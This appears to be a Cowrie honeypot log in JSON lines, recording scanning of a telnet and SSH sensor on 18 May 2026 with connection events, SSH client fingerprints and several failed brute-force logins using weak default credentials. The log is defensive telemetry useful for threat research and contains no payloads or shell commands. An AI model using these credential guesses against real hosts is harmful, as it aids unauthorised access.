{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58274,"dst_ip":"159.203.135.109","dst_port":23,"session":"644f486f86a0","protocol":"telnet","message":"New connection: 34.156.127.48:58274 (159.203.135.109:23) [session: 644f486f86a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.672718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58282,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0dfaf4ed4cc","protocol":"telnet","message":"New connection: 34.156.127.48:58282 (159.203.135.109:23) [session: d0dfaf4ed4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.827722Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.914020Z","src_ip":"45.156.87.204","session":"0544fe1a1840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee193760904","protocol":"telnet","message":"New connection: 34.156.127.48:58294 (159.203.135.109:23) [session: 3ee193760904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.983471Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58306,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80c83cfd282","protocol":"telnet","message":"New connection: 34.156.127.48:58306 (159.203.135.109:23) [session: f80c83cfd282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.139086Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58312,"dst_ip":"159.203.135.109","dst_port":23,"session":"f004f1b9b39f","protocol":"telnet","message":"New connection: 34.156.127.48:58312 (159.203.135.109:23) [session: f004f1b9b39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.369026Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d2eaf23a28","protocol":"telnet","message":"New connection: 34.156.127.48:58326 (159.203.135.109:23) [session: 49d2eaf23a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.525822Z"}
{"eventid":"cowrie.session.closed","duration":0.005036592483520508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.530736Z","src_ip":"34.156.127.48","session":"49d2eaf23a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58334,"dst_ip":"159.203.135.109","dst_port":23,"session":"02a3b736d5a5","protocol":"telnet","message":"New connection: 34.156.127.48:58334 (159.203.135.109:23) [session: 02a3b736d5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.680218Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1dca771e8c2","protocol":"telnet","message":"New connection: 34.156.127.48:39296 (159.203.135.109:23) [session: b1dca771e8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.834546Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39306,"dst_ip":"159.203.135.109","dst_port":23,"session":"322631c1a096","protocol":"telnet","message":"New connection: 34.156.127.48:39306 (159.203.135.109:23) [session: 322631c1a096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:20.989238Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39322,"dst_ip":"159.203.135.109","dst_port":23,"session":"403ffa796e70","protocol":"telnet","message":"New connection: 34.156.127.48:39322 (159.203.135.109:23) [session: 403ffa796e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.143330Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39330,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d884b2d4e0","protocol":"telnet","message":"New connection: 34.156.127.48:39330 (159.203.135.109:23) [session: 40d884b2d4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.298088Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39338,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbef24cccf8","protocol":"telnet","message":"New connection: 34.156.127.48:39338 (159.203.135.109:23) [session: efbef24cccf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.452502Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fea0c91f28a","protocol":"telnet","message":"New connection: 34.156.127.48:39352 (159.203.135.109:23) [session: 9fea0c91f28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.608227Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39358,"dst_ip":"159.203.135.109","dst_port":23,"session":"010f48bfec39","protocol":"telnet","message":"New connection: 34.156.127.48:39358 (159.203.135.109:23) [session: 010f48bfec39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.762998Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43432,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ab71100e42","protocol":"ssh","message":"New connection: 45.156.87.204:43432 (159.203.135.109:22) [session: e0ab71100e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.896291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.900785Z","src_ip":"45.156.87.204","session":"e0ab71100e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39368,"dst_ip":"159.203.135.109","dst_port":23,"session":"5368478a93dd","protocol":"telnet","message":"New connection: 34.156.127.48:39368 (159.203.135.109:23) [session: 5368478a93dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.917244Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.922795Z","src_ip":"34.156.127.48","session":"5368478a93dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35854,"dst_ip":"10.17.0.5","dst_port":23,"session":"75da34ef92d6","protocol":"telnet","message":"New connection: 152.42.224.71:35854 (10.17.0.5:23) [session: 75da34ef92d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:21.969596Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39372,"dst_ip":"159.203.135.109","dst_port":23,"session":"17428bb0a443","protocol":"telnet","message":"New connection: 34.156.127.48:39372 (159.203.135.109:23) [session: 17428bb0a443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.075863Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.148197Z","src_ip":"45.156.87.204","session":"e0ab71100e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e2ec11e7b0","protocol":"telnet","message":"New connection: 34.156.127.48:39388 (159.203.135.109:23) [session: 23e2ec11e7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.230673Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39400,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cc03713898","protocol":"telnet","message":"New connection: 34.156.127.48:39400 (159.203.135.109:23) [session: 62cc03713898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.387239Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39404,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8756fe13b34","protocol":"telnet","message":"New connection: 34.156.127.48:39404 (159.203.135.109:23) [session: c8756fe13b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.545632Z"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.595379Z","src_ip":"45.156.87.204","session":"e0ab71100e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea93f18baf0f","protocol":"telnet","message":"New connection: 34.156.127.48:39418 (159.203.135.109:23) [session: ea93f18baf0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.700956Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39424,"dst_ip":"159.203.135.109","dst_port":23,"session":"06522ac07a65","protocol":"telnet","message":"New connection: 34.156.127.48:39424 (159.203.135.109:23) [session: 06522ac07a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.855391Z"}
{"eventid":"cowrie.session.closed","duration":0.004727840423583984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.860000Z","src_ip":"34.156.127.48","session":"06522ac07a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":34860,"dst_ip":"159.203.135.109","dst_port":22,"session":"8db97d190191","protocol":"ssh","message":"New connection: 193.37.70.224:34860 (159.203.135.109:22) [session: 8db97d190191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:22.996245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.000105Z","src_ip":"193.37.70.224","session":"8db97d190191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7c8eea1159b","protocol":"telnet","message":"New connection: 34.156.127.48:39426 (159.203.135.109:23) [session: b7c8eea1159b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.009999Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":38454,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57d7af5d8ba","protocol":"ssh","message":"New connection: 45.183.70.66:38454 (159.203.135.109:22) [session: a57d7af5d8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.086859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.091314Z","src_ip":"45.183.70.66","session":"a57d7af5d8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.095320Z","src_ip":"193.37.70.224","session":"8db97d190191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"444a568c3086","protocol":"telnet","message":"New connection: 34.156.127.48:39434 (159.203.135.109:23) [session: 444a568c3086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.167503Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 490","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 490] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.171961Z","src_ip":"34.156.127.48","session":"444a568c3086","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.207613Z","src_ip":"45.183.70.66","session":"a57d7af5d8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.545204401016235,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.281186Z","src_ip":"152.42.224.71","session":"00ea3e76d558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":39448,"dst_ip":"159.203.135.109","dst_port":23,"session":"167dcb5b3ad5","protocol":"telnet","message":"New connection: 34.156.127.48:39448 (159.203.135.109:23) [session: 167dcb5b3ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.326041Z"}
{"eventid":"cowrie.session.closed","duration":0.004724740982055664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.330630Z","src_ip":"34.156.127.48","session":"167dcb5b3ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35866,"dst_ip":"10.17.0.5","dst_port":23,"session":"553163b0b29f","protocol":"telnet","message":"New connection: 152.42.224.71:35866 (10.17.0.5:23) [session: 553163b0b29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.348489Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qw","message":"login attempt [root/123123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.382010Z","src_ip":"193.37.70.224","session":"8db97d190191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.679263Z","src_ip":"45.156.87.204","session":"e0ab71100e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tommy","password":"tommy","message":"login attempt [tommy/tommy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:23.708467Z","src_ip":"45.183.70.66","session":"a57d7af5d8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:24.478472Z","src_ip":"193.37.70.224","session":"8db97d190191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:24.832752Z","src_ip":"45.183.70.66","session":"a57d7af5d8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56812,"dst_ip":"159.203.135.109","dst_port":22,"session":"07181fa02663","protocol":"ssh","message":"New connection: 45.156.87.204:56812 (159.203.135.109:22) [session: 07181fa02663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:25.881305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:25.885850Z","src_ip":"45.156.87.204","session":"07181fa02663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:25.969602Z","src_ip":"45.156.87.204","session":"07181fa02663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:26.219513Z","src_ip":"45.156.87.204","session":"07181fa02663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:27.304706Z","src_ip":"45.156.87.204","session":"07181fa02663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37092,"dst_ip":"10.17.0.5","dst_port":23,"session":"074e93074f25","protocol":"telnet","message":"New connection: 152.42.224.71:37092 (10.17.0.5:23) [session: 074e93074f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:27.395075Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":49224,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca3946ff09b4","protocol":"ssh","message":"New connection: 83.111.76.195:49224 (159.203.135.109:22) [session: ca3946ff09b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:27.917906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:27.923179Z","src_ip":"83.111.76.195","session":"ca3946ff09b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 